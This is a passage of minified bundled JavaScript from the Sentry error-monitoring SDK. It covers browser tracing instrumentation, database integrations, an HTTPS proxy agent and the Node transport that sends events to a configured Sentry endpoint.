G=BR.getClient();if(z.setRequestHeader&&q(w.url)&&G){let{traceId:Z,spanId:W,sampled:D,dsc:j}={...O.getPropagationContext(),...J.getPropagationContext()},M=_?BR.spanToTraceHeader(_):mR.generateSentryTraceHeader(Z,W,D),P=mR.dynamicSamplingContextToSentryBaggageHeader(j||(_?BR.getDynamicSamplingContextFromSpan(_):BR.getDynamicSamplingContextFromClient(Z,G,J)));Zoq(z,M,P)}return _}function Zoq(A,K,q){try{if(A.setRequestHeader("sentry-trace",K),q)A.setRequestHeader(mR.BAGGAGE_HEADER_NAME,q)}catch(Y){}}function XT8(A){try{return new URL(A,Xoq.WINDOW.location.origin).href}catch(K){return}}$T8.DEFAULT_TRACE_PROPAGATION_TARGETS=LtA;$T8.defaultRequestInstrumentationOptions=Vm1;$T8.extractNetworkProtocol=HT8;$T8.instrumentOutgoingRequests=$oq;$T8.shouldAttachHeaders=JT8;$T8.xhrCallback=OT8});var ZT8=v((GT8)=>{Object.defineProperty(GT8,"__esModule",{value:!0});var QvA=H8(),_T8=wV(),UvA=pN();function foq(A,K=!0,q=!0){if(!UvA.WINDOW||!UvA.WINDOW.location){_T8.DEBUG_BUILD&&QvA.logger.warn("Could not initialize routing instrumentation due to invalid location");return}let Y=UvA.WINDOW.location.href,z;if(K)z=A({name:UvA.WINDOW.location.pathname,startTimestamp:QvA.browserPerformanceTimeOrigin?QvA.browserPerformanceTimeOrigin/1000:void 0,op:"pageload",origin:"auto.pageload.browser",metadata:{source:"url"}});if(q)QvA.addHistoryInstrumentationHandler(({to:w,from:H})=>{if(H===void 0&&Y&&Y.indexOf(w)!==-1){Y=void 0;return}if(H!==w){if(Y=void 0,z)_T8.DEBUG_BUILD&&QvA.logger.log(`[Tracing] Finishing current transaction with op: ${z.op}`),z.end();z=A({name:UvA.WINDOW.location.pathname,op:"navigation",origin:"auto.navigation.browser",metadata:{source:"url"}})}})}GT8.instrumentRoutingWithDefaults=foq});var fT8=v((VT8)=>{Object.defineProperty(VT8,"__esModule",{value:!0});var gR=sq(),JF=H8(),Di=wV(),Toq=Xm1(),WT8=LHA(),pvA=Mm1(),jT8=RtA(),voq=ZT8(),Y6A=pN(),MT8="BrowserTracing",Eoq={...gR.TRACING_DEFAULTS,markBackgroundTransactions:!0,routingInstrumentation:voq.instrumentRoutingWithDefaults,startTransactionOnLocationChange:!0,startTransactionOnPageLoad:!0,enableLongTask:!0,enableInp:!1,interactionsSampleRate:1,_experiments:{},...jT8.defaultRequestInstrumentationOptions},DT8=10;class PT8{constructor(A){if(this.name=MT8,this._hasSetTracePropagationTargets=!1,gR.addTracingExtensions(),Di.DEBUG_BUILD)this._hasSetTracePropagationTargets=!!(A&&(A.tracePropagationTargets||A.tracingOrigins));if(this.options={...Eoq,...A},this.options._experiments.enableLongTask!==void 0)this.options.enableLongTask=this.options._experiments.enableLongTask;if(A&&!A.tracePropagationTargets&&A.tracingOrigins)this.options.tracePropagationTargets=A.tracingOrigins;if(this._collectWebVitals=pvA.startTrackingWebVitals(),this._interactionIdToRouteNameMapping={},this.options.enableInp)pvA.startTrackingINP(this._interactionIdToRouteNameMapping,this.options.interactionsSampleRate);if(this.options.enableLongTask)pvA.startTrackingLongTasks();if(this.options._experiments.enableInteractions)pvA.startTrackingInteractions();this._latestRoute={name:void 0,context:void 0}}setupOnce(A,K){this._getCurrentHub=K;let Y=K().getClient(),z=Y&&Y.getOptions(),{routingInstrumentation:w,startTransactionOnLocationChange:H,startTransactionOnPageLoad:J,markBackgroundTransactions:O,traceFetch:X,traceXHR:$,shouldCreateSpanForRequest:_,enableHTTPTimings:G,_experiments:Z}=this.options,W=z&&z.tracePropagationTargets,D=W||this.options.tracePropagationTargets;if(Di.DEBUG_BUILD&&this._hasSetTracePropagationTargets&&W)JF.logger.warn("[Tracing] The `tracePropagationTargets` option was set in the BrowserTracing integration and top level `Sentry.init`. The top level `Sentry.init` value is being used.");if(w((j)=>{let M=this._createRouteTransaction(j);return this.options._experiments.onStartRouteTransaction&&this.options._experiments.onStartRouteTransaction(M,j,K),M},J,H),O)Toq.registerBackgroundTabDetection();if(Z.enableInteractions)this._registerInteractionListener();if(this.options.enableInp)this._registerInpInteractionListener();jT8.instrumentOutgoingRequests({traceFetch:X,traceXHR:$,tracePropagationTargets:D,shouldCreateSpanForRequest:_,enableHTTPTimings:G})}_createRouteTransaction(A){if(!this._getCurrentHub){Di.DEBUG_BUILD&&JF.logger.warn(`[Tracing] Did not create ${A.op} transaction because _getCurrentHub is invalid.`);return}let K=this._getCurrentHub(),{beforeNavigate:q,idleTimeout:Y,finalTimeout:z,heartbeatInterval:w}=this.options,H=A.op==="pageload",J;if(H){let G=H?fm1("sentry-trace"):"",Z=H?fm1("baggage"):void 0,{traceId:W,dsc:D,parentSpanId:j,sampled:M}=JF.propagationContextFromHeaders(G,Z);J={traceId:W,parentSpanId:j,parentSampled:M,...A,metadata:{...A.metadata,dynamicSamplingContext:D},trimEnd:!0}}else J={trimEnd:!0,...A};let O=typeof q==="function"?q(J):J,X=O===void 0?{...J,sampled:!1}:O;if(X.metadata=X.name!==J.name?{...X.metadata,source:"custom"}:X.metadata,this._latestRoute.name=X.name,this._latestRoute.context=X,X.sampled===!1)Di.DEBUG_BUILD&&JF.logger.log(`[Tracing] Will not send ${X.op} transaction because of beforeNavigate.`);Di.DEBUG_BUILD&&JF.logger.log(`[Tracing] Starting ${X.op} transaction on scope`);let{location:$}=Y6A.WINDOW,_=gR.startIdleTransaction(K,X,Y,z,!0,{location:$},w,H);if(H){if(Y6A.WINDOW.document){if(Y6A.WINDOW.document.addEventListener("readystatechange",()=>{if(["interactive","complete"].includes(Y6A.WINDOW.document.readyState))_.sendAutoFinishSignal()}),["interactive","complete"].includes(Y6A.WINDOW.document.readyState))_.sendAutoFinishSignal()}}return _.registerBeforeFinishCallback((G)=>{this._collectWebVitals(),pvA.addPerformanceEntries(G)}),_}_registerInteractionListener(){let A,K=()=>{let{idleTimeout:q,finalTimeout:Y,heartbeatInterval:z}=this.options,w="ui.action.click",H=gR.getActiveTransaction();if(H&&H.op&&["navigation","pageload"].includes(H.op)){Di.DEBUG_BUILD&&JF.logger.warn("[Tracing] Did not create ui.action.click transaction because a pageload or navigation transaction is in progress.");return}if(A)A.setFinishReason("interactionInterrupted"),A.end(),A=void 0;if(!this._getCurrentHub){Di.DEBUG_BUILD&&JF.logger.warn("[Tracing] Did not create ui.action.click transaction because _getCurrentHub is invalid.");return}if(!this._latestRoute.name){Di.DEBUG_BUILD&&JF.logger.warn("[Tracing] Did not create ui.action.click transaction because _latestRouteName is missing.");return}let J=this._getCurrentHub(),{location:O}=Y6A.WINDOW,X={name:this._latestRoute.name,op:"ui.action.click",trimEnd:!0,data:{[gR.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]:this._latestRoute.context?koq(this._latestRoute.context):"url"}};A=gR.startIdleTransaction(J,X,q,Y,!0,{location:O},z)};["click"].forEach((q)=>{if(Y6A.WINDOW.document)addEventListener(q,K,{once:!1,capture:!0})})}_registerInpInteractionListener(){let A=({entries:K})=>{let q=gR.getClient(),Y=q!==void 0&&q.getIntegrationByName!==void 0?q.getIntegrationByName("Replay"):void 0,z=Y!==void 0?Y.getReplayId():void 0,w=gR.getActiveTransaction(),H=gR.getCurrentScope(),J=H!==void 0?H.getUser():void 0;K.forEach((O)=>{if(Coq(O)){let X=O.interactionId;if(X===void 0)return;let $=this._interactionIdToRouteNameMapping[X],_=O.duration,G=O.startTime,Z=Object.keys(this._interactionIdToRouteNameMapping),W=Z.length>0?Z.reduce((D,j)=>{return this._interactionIdToRouteNameMapping[D].duration<this._interactionIdToRouteNameMapping[j].duration?D:j}):void 0;if(O.entryType==="first-input"){if(Z.map((j)=>this._interactionIdToRouteNameMapping[j]).some((j)=>{return j.duration===_&&j.startTime===G}))return}if(!X)return;if($)$.duration=Math.max($.duration,_);else if(Z.length<DT8||W===void 0||_>this._interactionIdToRouteNameMapping[W].duration){let D=this._latestRoute.name,j=this._latestRoute.context;if(D&&j){if(W&&Object.keys(this._interactionIdToRouteNameMapping).length>=DT8)delete this._interactionIdToRouteNameMapping[W];this._interactionIdToRouteNameMapping[X]={routeName:D,duration:_,parentContext:j,user:J,activeTransaction:w,replayId:z,startTime:G}}}}})};WT8.addPerformanceInstrumentationHandler("event",A),WT8.addPerformanceInstrumentationHandler("first-input",A)}}function fm1(A){let K=JF.getDomElement(`meta[name=${A}]`);return K?K.getAttribute("content"):void 0}function koq(A){let K=A.attributes&&A.attributes[gR.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE],q=A.data&&A.data[gR.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE],Y=A.metadata&&A.metadata.source;return K||q||Y}function Coq(A){return"duration"in A}VT8.BROWSER_TRACING_INTEGRATION_ID=MT8;VT8.BrowserTracing=PT8;VT8.getMetaContent=fm1});var RT8=v((LT8)=>{Object.defineProperty(LT8,"__esModule",{value:!0});var U0=sq(),uE=H8(),ji=wV(),Ioq=Xm1(),NT8=LHA(),dvA=Mm1(),vT8=RtA(),cN=pN(),ET8="BrowserTracing",Soq={...U0.TRACING_DEFAULTS,instrumentNavigation:!0,instrumentPageLoad:!0,markBackgroundSpan:!0,enableLongTask:!0,enableInp:!1,interactionsSampleRate:1,_experiments:{},...vT8.defaultRequestInstrumentationOptions},hoq=(A={})=>{let K=ji.DEBUG_BUILD?!!(A.tracePropagationTargets||A.tracingOrigins):!1;if(U0.addTracingExtensions(),!A.tracePropagationTargets&&A.tracingOrigins)A.tracePropagationTargets=A.tracingOrigins;let q={...Soq,...A},Y=dvA.startTrackingWebVitals(),z={};if(q.enableInp)dvA.startTrackingINP(z,q.interactionsSampleRate);if(q.enableLongTask)dvA.startTrackingLongTasks();if(q._experiments.enableInteractions)dvA.startTrackingInteractions();let w={name:void 0,context:void 0};function H(J){let O=U0.getCurrentHub(),{beforeStartSpan:X,idleTimeout:$,finalTimeout:_,heartbeatInterval:G}=q,Z=J.op==="pageload",W;if(Z){let P=Z?Nm1("sentry-trace"):"",f=Z?Nm1("baggage"):void 0,{traceId:N,dsc:T,parentSpanId:C,sampled:R}=uE.propagationContextFromHeaders(P,f);W={traceId:N,parentSpanId:C,parentSampled:R,...J,metadata:{...J.metadata,dynamicSamplingContext:T},trimEnd:!0}}else W={trimEnd:!0,...J};let D=X?X(W):W;if(D.metadata=D.name!==W.name?{...D.metadata,source:"custom"}:D.metadata,w.name=D.name,w.context=D,D.sampled===!1)ji.DEBUG_BUILD&&uE.logger.log(`[Tracing] Will not send ${D.op} transaction because of beforeNavigate.`);ji.DEBUG_BUILD&&uE.logger.log(`[Tracing] Starting ${D.op} transaction on scope`);let{location:j}=cN.WINDOW,M=U0.startIdleTransaction(O,D,$,_,!0,{location:j},G,Z);if(Z&&cN.WINDOW.document){if(cN.WINDOW.document.addEventListener("readystatechange",()=>{if(["interactive","complete"].includes(cN.WINDOW.document.readyState))M.sendAutoFinishSignal()}),["interactive","complete"].includes(cN.WINDOW.document.readyState))M.sendAutoFinishSignal()}return M.registerBeforeFinishCallback((P)=>{Y(),dvA.addPerformanceEntries(P)}),M}return{name:ET8,setupOnce:()=>{},afterAllSetup(J){let O=J.getOptions(),{markBackgroundSpan:X,traceFetch:$,traceXHR:_,shouldCreateSpanForRequest:G,enableHTTPTimings:Z,_experiments:W}=q,D=O&&O.tracePropagationTargets,j=D||q.tracePropagationTargets;if(ji.DEBUG_BUILD&&K&&D)uE.logger.warn("[Tracing] The `tracePropagationTargets` option was set in the BrowserTracing integration and top level `Sentry.init`. The top level `Sentry.init` value is being used.");let M,P=cN.WINDOW.location&&cN.WINDOW.location.href;if(J.on)J.on("startNavigationSpan",(f)=>{if(M)ji.DEBUG_BUILD&&uE.logger.log(`[Tracing] Finishing current transaction with op: ${U0.spanToJSON(M).op}`),M.end();M=H({op:"navigation",...f})}),J.on("startPageLoadSpan",(f)=>{if(M)ji.DEBUG_BUILD&&uE.logger.log(`[Tracing] Finishing current transaction with op: ${U0.spanToJSON(M).op}`),M.end();M=H({op:"pageload",...f})});if(q.instrumentPageLoad&&J.emit&&cN.WINDOW.location){let f={name:cN.WINDOW.location.pathname,startTimestamp:uE.browserPerformanceTimeOrigin?uE.browserPerformanceTimeOrigin/1000:void 0,origin:"auto.pageload.browser",attributes:{[U0.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]:"url"}};kT8(J,f)}if(q.instrumentNavigation&&J.emit&&cN.WINDOW.location)uE.addHistoryInstrumentationHandler(({to:f,from:N})=>{if(N===void 0&&P&&P.indexOf(f)!==-1){P=void 0;return}if(N!==f){P=void 0;let T={name:cN.WINDOW.location.pathname,origin:"auto.navigation.browser",attributes:{[U0.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]:"url"}};CT8(J,T)}});if(X)Ioq.registerBackgroundTabDetection();if(W.enableInteractions)boq(q,w);if(q.enableInp)uoq(z,w);vT8.instrumentOutgoingRequests({traceFetch:$,traceXHR:_,tracePropagationTargets:j,shouldCreateSpanForRequest:G,enableHTTPTimings:Z})},options:q}};function kT8(A,K){if(!A.emit)return;A.emit("startPageLoadSpan",K);let q=U0.getActiveSpan();return(q&&U0.spanToJSON(q).op)==="pageload"?q:void 0}function CT8(A,K){if(!A.emit)return;A.emit("startNavigationSpan",K);let q=U0.getActiveSpan();return(q&&U0.spanToJSON(q).op)==="navigation"?q:void 0}function Nm1(A){let K=uE.getDomElement(`meta[name=${A}]`);return K?K.getAttribute("content"):void 0}function boq(A,K){let q,Y=()=>{let{idleTimeout:z,finalTimeout:w,heartbeatInterval:H}=A,J="ui.action.click",O=U0.getActiveTransaction();if(O&&O.op&&["navigation","pageload"].includes(O.op)){ji.DEBUG_BUILD&&uE.logger.warn("[Tracing] Did not create ui.action.click transaction because a pageload or navigation transaction is in progress.");return}if(q)q.setFinishReason("interactionInterrupted"),q.end(),q=void 0;if(!K.name){ji.DEBUG_BUILD&&uE.logger.warn("[Tracing] Did not create ui.action.click transaction because _latestRouteName is missing.");return}let{location:X}=cN.WINDOW,$={name:K.name,op:"ui.action.click",trimEnd:!0,data:{[U0.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]:K.context?Boq(K.context):"url"}};q=U0.startIdleTransaction(U0.getCurrentHub(),$,z,w,!0,{location:X},H)};["click"].forEach((z)=>{if(cN.WINDOW.document)addEventListener(z,Y,{once:!1,capture:!0})})}function xoq(A){return"duration"in A}var TT8=10;function uoq(A,K){let q=({entries:Y})=>{let z=U0.getClient(),w=z!==void 0&&z.getIntegrationByName!==void 0?z.getIntegrationByName("Replay"):void 0,H=w!==void 0?w.getReplayId():void 0,J=U0.getActiveTransaction(),O=U0.getCurrentScope(),X=O!==void 0?O.getUser():void 0;Y.forEach(($)=>{if(xoq($)){let _=$.interactionId;if(_===void 0)return;let G=A[_],Z=$.duration,W=$.startTime,D=Object.keys(A),j=D.length>0?D.reduce((M,P)=>{return A[M].duration<A[P].duration?M:P}):void 0;if($.entryType==="first-input"){if(D.map((P)=>A[P]).some((P)=>{return P.duration===Z&&P.startTime===W}))return}if(!_)return;if(G)G.duration=Math.max(G.duration,Z);else if(D.length<TT8||j===void 0||Z>A[j].duration){let{name:M,context:P}=K;if(M&&P){if(j&&Object.keys(A).length>=TT8)delete A[j];A[_]={routeName:M,duration:Z,parentContext:P,user:X,activeTransaction:J,replayId:H,startTime:W}}}}})};NT8.addPerformanceInstrumentationHandler("event",q),NT8.addPerformanceInstrumentationHandler("first-input",q)}function Boq(A){let K=A.attributes&&A.attributes[U0.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE],q=A.data&&A.data[U0.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE],Y=A.metadata&&A.metadata.source;return K||q||Y}LT8.BROWSER_TRACING_INTEGRATION_ID=ET8;LT8.browserTracingIntegration=hoq;LT8.getMetaContent=Nm1;LT8.startBrowserTracingNavigationSpan=CT8;LT8.startBrowserTracingPageLoadSpan=kT8});var ST8=v((IT8,cvA)=>{Object.defineProperty(IT8,"__esModule",{value:!0});var yT8=sq(),RHA=H8();function poq(){let A=yT8.getMainCarrier();if(!A.__SENTRY__)return;let K={mongodb(){return new(RHA.dynamicRequire(cvA,"./node/integrations/mongo")).Mongo},mongoose(){return new(RHA.dynamicRequire(cvA,"./node/integrations/mongo")).Mongo},mysql(){return new(RHA.dynamicRequire(cvA,"./node/integrations/mysql")).Mysql},pg(){return new(RHA.dynamicRequire(cvA,"./node/integrations/postgres")).Postgres}},q=Object.keys(K).filter((Y)=>!!RHA.loadModule(Y)).map((Y)=>{try{return K[Y]()}catch(z){return}}).filter((Y)=>Y);if(q.length>0)A.__SENTRY__.integrations=[...A.__SENTRY__.integrations||[],...q]}function doq(){if(yT8.addTracingExtensions(),RHA.isNodeEnv())poq()}IT8.addExtensionMethods=doq});var vm1=v((BT8)=>{Object.defineProperty(BT8,"__esModule",{value:!0});var OF=sq(),hT8=H8(),loq=pf8(),ioq=cf8(),noq=if8(),roq=of8(),ooq=tf8(),aoq=KN8(),soq=zN8(),toq=HN8(),bT8=fT8(),Tm1=RT8(),xT8=RtA(),ytA=LHA(),uT8=Pm1(),eoq=ST8();BT8.IdleTransaction=OF.IdleTransaction;BT8.Span=OF.Span;BT8.SpanStatus=OF.SpanStatus;BT8.Transaction=OF.Transaction;BT8.extractTraceparentData=OF.extractTraceparentData;BT8.getActiveTransaction=OF.getActiveTransaction;BT8.hasTracingEnabled=OF.hasTracingEnabled;BT8.spanStatusfromHttpCode=OF.spanStatusfromHttpCode;BT8.startIdleTransaction=OF.startIdleTransaction;BT8.TRACEPARENT_REGEXP=hT8.TRACEPARENT_REGEXP;BT8.stripUrlQueryAndFragment=hT8.stripUrlQueryAndFragment;BT8.Express=loq.Express;BT8.Postgres=ioq.Postgres;BT8.Mysql=noq.Mysql;BT8.Mongo=roq.Mongo;BT8.Prisma=ooq.Prisma;BT8.GraphQL=aoq.GraphQL;BT8.Apollo=soq.Apollo;BT8.lazyLoadedNodePerformanceMonitoringIntegrations=toq.lazyLoadedNodePerformanceMonitoringIntegrations;BT8.BROWSER_TRACING_INTEGRATION_ID=bT8.BROWSER_TRACING_INTEGRATION_ID;BT8.BrowserTracing=bT8.BrowserTracing;BT8.browserTracingIntegration=Tm1.browserTracingIntegration;BT8.startBrowserTracingNavigationSpan=Tm1.startBrowserTracingNavigationSpan;BT8.startBrowserTracingPageLoadSpan=Tm1.startBrowserTracingPageLoadSpan;BT8.defaultRequestInstrumentationOptions=xT8.defaultRequestInstrumentationOptions;BT8.instrumentOutgoingRequests=xT8.instrumentOutgoingRequests;BT8.addClsInstrumentationHandler=ytA.addClsInstrumentationHandler;BT8.addFidInstrumentationHandler=ytA.addFidInstrumentationHandler;BT8.addLcpInstrumentationHandler=ytA.addLcpInstrumentationHandler;BT8.addPerformanceInstrumentationHandler=ytA.addPerformanceInstrumentationHandler;BT8.addTracingHeadersToFetchRequest=uT8.addTracingHeadersToFetchRequest;BT8.instrumentFetchRequest=uT8.instrumentFetchRequest;BT8.addExtensionMethods=eoq.addExtensionMethods});var gT8=v((mT8)=>{Object.defineProperty(mT8,"__esModule",{value:!0});var baq=vm1(),xaq=H8();function uaq(){let A=baq.lazyLoadedNodePerformanceMonitoringIntegrations.map((K)=>{try{return K()}catch(q){return}}).filter((K)=>!!K);if(A.length===0)xaq.logger.warn("Performance monitoring integrations could not be automatically loaded.");return A.filter((K)=>!!K.loadDependency())}mT8.autoDiscoverNodePerformanceMonitoringIntegrations=uaq});var Em1=v((UT8)=>{Object.defineProperty(UT8,"__esModule",{value:!0});var maq=CA("os"),gaq=CA("util"),FT8=sq();class QT8 extends FT8.ServerRuntimeClient{constructor(A){FT8.applySdkMetadata(A,"node"),A.transportOptions={textEncoder:new gaq.TextEncoder,...A.transportOptions};let K={...A,platform:"node",runtime:{name:"node",version:global.process.version},serverName:A.serverName||global.process.env.SENTRY_NAME||maq.hostname()};super(K)}}UT8.NodeClient=QT8});var iT8=v((lT8)=>{var{_nullishCoalesce:pT8}=H8();Object.defineProperty(lT8,"__esModule",{value:!0});var dT8=CA("http");CA("https");var Vb=Symbol("AgentBaseInternalState");class cT8 extends dT8.Agent{constructor(A){super(A);this[Vb]={}}isSecureEndpoint(A){if(A){if(typeof A.secureEndpoint==="boolean")return A.secureEndpoint;if(typeof A.protocol==="string")return A.protocol==="https:"}let{stack:K}=Error();if(typeof K!=="string")return!1;return K.split(` `).some((q)=>q.indexOf("(https.js:")!==-1||q.indexOf("node:https:")!==-1)}createSocket(A,K,q){let Y={...K,secureEndpoint:this.isSecureEndpoint(K)};Promise.resolve().then(()=>this.connect(A,Y)).then((z)=>{if(z instanceof dT8.Agent)return z.addRequest(A,Y);this[Vb].currentSocket=z,super.createSocket(A,K,q)},q)}createConnection(){let A=this[Vb].currentSocket;if(this[Vb].currentSocket=void 0,!A)throw Error("No socket was returned in the `connect()` function");return A}get defaultPort(){return pT8(this[Vb].defaultPort,()=>this.protocol==="https:"?443:80)}set defaultPort(A){if(this[Vb])this[Vb].defaultPort=A}get protocol(){return pT8(this[Vb].protocol,()=>this.isSecureEndpoint()?"https:":"http:")}set protocol(A){if(this[Vb])this[Vb].protocol=A}}lT8.Agent=cT8});var rT8=v((nT8)=>{Object.defineProperty(nT8,"__esModule",{value:!0});var Uaq=H8();function ItA(...A){Uaq.logger.log("[https-proxy-agent:parse-proxy-response]",...A)}function paq(A){return new Promise((K,q)=>{let Y=0,z=[];function w(){let $=A.read();if($)X($);else A.once("readable",w)}function H(){A.removeListener("end",J),A.removeListener("error",O),A.removeListener("readable",w)}function J(){H(),ItA("onend"),q(Error("Proxy connection ended before receiving CONNECT response"))}function O($){H(),ItA("onerror %o",$),q($)}function X($){z.push($),Y+=$.length;let _=Buffer.concat(z,Y),G=_.indexOf(`\r \r `);if(G===-1){ItA("have not received end of HTTP headers yet..."),w();return}let Z=_.slice(0,G).toString("ascii").split(`\r `),W=Z.shift();if(!W)return A.destroy(),q(Error("No header received from proxy CONNECT response"));let D=W.split(" "),j=+D[1],M=D.slice(2).join(" "),P={};for(let f of Z){if(!f)continue;let N=f.indexOf(":");if(N===-1)return A.destroy(),q(Error(`Invalid header from proxy CONNECT response: "${f}"`));let T=f.slice(0,N).toLowerCase(),C=f.slice(N+1).trimStart(),R=P[T];if(typeof R==="string")P[T]=[R,C];else if(Array.isArray(R))R.push(C);else P[T]=C}ItA("got proxy server response: %o %o",W,P),H(),K({connect:{statusCode:j,statusText:M,headers:P},buffered:_})}A.on("error",O),A.on("end",J),w()})}nT8.parseProxyResponse=paq});var tT8=v((sT8)=>{var{_nullishCoalesce:caq,_optionalChain:laq}=H8();Object.defineProperty(sT8,"__esModule",{value:!0});var lvA=CA("net"),oT8=CA("tls"),iaq=CA("url"),naq=H8(),raq=iT8(),oaq=rT8();function ivA(...A){naq.logger.log("[https-proxy-agent]",...A)}class km1 extends raq.Agent{static __initStatic(){this.protocols=["http","https"]}constructor(A,K){super(K);this.options={},this.proxy=typeof A==="string"?new iaq.URL(A):A,this.proxyHeaders=caq(laq([K,"optionalAccess",(z)=>z.headers]),()=>({})),ivA("Creating new HttpsProxyAgent instance: %o",this.proxy.href);let q=(this.proxy.hostname||this.proxy.host).replace(/^\[|\]$/g,""),Y=this.proxy.port?parseInt(this.proxy.port,10):this.proxy.protocol==="https:"?443:80;this.connectOpts={ALPNProtocols:["http/1.1"],...K?aT8(K,"headers"):null,host:q,port:Y}}async connect(A,K){let{proxy:q}=this;if(!K.host)throw TypeError('No "host" provided');let Y;if(q.protocol==="https:"){ivA("Creating `tls.Socket`: %o",this.connectOpts);let _=this.connectOpts.servername||this.connectOpts.host;Y=oT8.connect({...this.connectOpts,servername:_&&lvA.isIP(_)?void 0:_})}else ivA("Creating `net.Socket`: %o",this.connectOpts),Y=lvA.connect(this.connectOpts);let z=typeof this.proxyHeaders==="function"?this.proxyHeaders():{...this.proxyHeaders},w=lvA.isIPv6(K.host)?`[${K.host}]`:K.host,H=`CONNECT ${w}:${K.port} HTTP/1.1\r `;if(q.username||q.password){let _=`${decodeURIComponent(q.username)}:${decodeURIComponent(q.password)}`;z["Proxy-Authorization"]=`Basic ${Buffer.from(_).toString("base64")}`}if(z.Host=`${w}:${K.port}`,!z["Proxy-Connection"])z["Proxy-Connection"]=this.keepAlive?"Keep-Alive":"close";for(let _ of Object.keys(z))H+=`${_}: ${z[_]}\r `;let J=oaq.parseProxyResponse(Y);Y.write(`${H}\r `);let{connect:O,buffered:X}=await J;if(A.emit("proxyConnect",O),this.emit("proxyConnect",O,A),O.statusCode===200){if(A.once("socket",aaq),K.secureEndpoint){ivA("Upgrading socket connection to TLS");let _=K.servername||K.host;return oT8.connect({...aT8(K,"host","path","port"),socket:Y,servername:lvA.isIP(_)?void 0:_})}return Y}Y.destroy();let $=new lvA.Socket({writable:!1});return $.readable=!0,A.once("socket",(_)=>{ivA("Replaying proxy buffer for failed request"),_.push(X),_.push(null)}),$}}km1.__initStatic();function aaq(A){A.resume()}function aT8(A,...K){let q={},Y;for(Y in A)if(!K.includes(Y))q[Y]=A[Y];return q}sT8.HttpsProxyAgent=km1});var Lm1=v((Kv8)=>{var{_nullishCoalesce:Cm1}=H8();Object.defineProperty(Kv8,"__esModule",{value:!0});var taq=CA("http"),eaq=CA("https"),Asq=CA("stream"),Av8=CA("url"),Ksq=CA("zlib"),eT8=sq(),qsq=H8(),Ysq=tT8(),zsq=32768;function wsq(A){return new Asq.Readable({read(){this.push(A),this.push(null)}})}function Hsq(A){let K;try{K=new Av8.URL(A.url)}catch(O){return qsq.consoleSandbox(()=>{console.warn("[@sentry/node]: Invalid dsn or tunnel option, will not send any events. The tunnel option must be a full URL when used.")}),eT8.createTransport(A,()=>Promise.resolve({}))}let q=K.protocol==="https:",Y=Jsq(K,A.proxy||(q?process.env.https_proxy:void 0)||process.env.http_proxy),z=q?eaq:taq,w=A.keepAlive===void 0?!1:A.keepAlive,H=Y?new Ysq.HttpsProxyAgent(Y):new z.Agent({keepAlive:w,maxSockets:30,timeout:2000}),J=Osq(A,Cm1(A.httpModule,()=>z),H);return eT8.createTransport(A,J)}function Jsq(A,K){let{no_proxy:q}=process.env;if(q&&q.split(",").some((z)=>A.host.endsWith(z)||A.hostname.endsWith(z)))return;else return K}function Osq(A,K,q){let{hostname:Y,pathname:z,port:w,protocol:H,search:J}=new Av8.URL(A.url);return function(X){return new Promise(($,_)=>{let G=wsq(X.body),Z={...A.headers};if(X.body.length>zsq)Z["content-encoding"]="gzip",G=G.pipe(Ksq.createGzip());let W=K.request({method:"POST",agent:q,headers:Z,hostname:Y,path:`${z}${J}`,port:w,protocol:H,ca:A.caCerts},(D)=>{D.on("data",()=>{}),D.on("end",()=>{}),D.setEncoding("utf8");let j=Cm1(D.headers["retry-after"],()=>null),M=Cm1(D.headers["x-sentry-rate-limits"],()=>null);$({statusCode:D.statusCode,headers:{"retry-after":j,"x-sentry-rate-limits":Array.isArray(M)?M[0]:M}})});W.on("error",_),G.pipe(W)})}}Kv8.makeNodeTransport=Hsq});var z6A=v((qv8)=>{Object.defineProperty(qv8,"__esModule",{value:!0});var $sq=H8(),_sq=$sq.parseSemver(process.versions.node);qv8.NODE_VERSION=_sq});var Hv8=v((wv8)=>{var{_optionalChain:Zsq}=H8();Object.defineProperty(wv8,"__esModule",{value:!0});var Yv8=CA("domain"),w6A=sq();function zv8(){return Yv8.active}function Wsq(){let A=zv8();if(!A)return;return w6A.ensureHubOnCarrier(A),w6A.getHubFromCarrier(A)}function Dsq(A){let K={};return w6A.ensureHubOnCarrier(K,A),w6A.getHubFromCarrier(K)}function jsq(A,K){let q=zv8();if(q&&Zsq([K,"optionalAccess",(H)=>H.reuseExisting]))return A();let Y=Yv8.create(),z=q?w6A.getHubFromCarrier(q):void 0,w=Dsq(z);return w6A.setHubOnCarrier(Y,w),Y.bind(()=>{return A()})()}function Msq(){w6A.setAsyncContextStrategy({getCurrentHub:Wsq,runWithAsyncContext:jsq})}wv8.setDomainAsyncContextStrategy=Msq});var Ov8=v((Jv8)=>{var{_optionalChain:Vsq}=H8();Object.defineProperty(Jv8,"__esModule",{value:!0});var Rm1=sq(),fsq=CA("async_hooks"),StA;function Nsq(){if(!StA)StA=new fsq.AsyncLocalStorage;function A(){return StA.getStore()}function K(Y){let z={};return Rm1.ensureHubOnCarrier(z,Y),Rm1.getHubFromCarrier(z)}function q(Y,z){let w=A();if(w&&Vsq([z,"optionalAccess",(J)=>J.reuseExisting]))return Y();let H=K(w);return StA.run(H,()=>{return Y()})}Rm1.setAsyncContextStrategy({getCurrentHub:A,runWithAsyncContext:q})}Jv8.setHooksAsyncContextStrategy=Nsq});var $v8=v((Xv8)=>{Object.defineProperty(Xv8,"__esModule",{value:!0});var vsq=z6A(),Esq=Hv8(),ksq=Ov8();function Csq(){if(vsq.NODE_VERSION.major>=14)ksq.setHooksAsyncContextStrategy();else Esq.setDomainAsyncContextStrategy()}Xv8.setNodeAsyncContextStrategy=Csq});var btA=v((Wv8)=>{Object.defineProperty(Wv8,"__esModule",{value:!0});var Rsq=CA("util"),htA=sq(),_v8=H8(),Gv8="Console",ysq=()=>{return{name:Gv8,setupOnce(){},setup(A){_v8.addConsoleInstrumentationHandler(({args:K,level:q})=>{if(htA.getClient()!==A)return;htA.addBreadcrumb({category:"console",level:_v8.severityLevelFromString(q),message:Rsq.format.apply(void 0,K)},{input:[...K],level:q})})}}},Zv8=htA.defineIntegration(ysq),Isq=htA.convertIntegrationFnToClass(Gv8,Zv8);Wv8.Console=Isq;Wv8.consoleIntegration=Zv8});var xtA=v((Ev8)=>{var{_optionalChain:H6A}=H8();Object.defineProperty(Ev8,"__esModule",{value:!0});var 